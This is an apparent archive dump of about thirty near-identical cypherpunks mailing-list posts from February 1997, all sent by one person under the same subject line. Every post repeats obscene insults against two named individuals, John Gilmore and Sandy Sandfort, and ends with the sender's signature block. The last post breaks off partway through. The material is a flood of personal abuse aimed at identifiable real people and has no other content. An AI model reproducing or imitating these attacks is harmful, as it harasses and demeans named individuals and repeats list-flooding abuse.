To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771015.521934.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:58:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771015.521933.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:09:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771057.522303.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:22:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771098.522656.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:44:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771020.521970.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:25:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771058.522306.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770980.521637.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:18:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771125.522881.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:17:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771092.522579.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:01:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770982.521657.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771129.522918.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:52:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770971.521504.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:49:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771160.523197.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:00:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771071.522417.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:30:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771058.522301.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:27:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771018.521953.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:48:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771081.522500.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:13:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771078.522469.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:58:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771006.521847.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:41:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771012.521897.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771103.522707.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:02:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771069.522402.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:36:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771003.521829.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771043.522197.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:49:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771050.522248.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:13:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771099.522654.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770999.521802.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771066.522385.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:42:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771132.522932.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:01:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771019.521961.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:25:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770992.521749.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
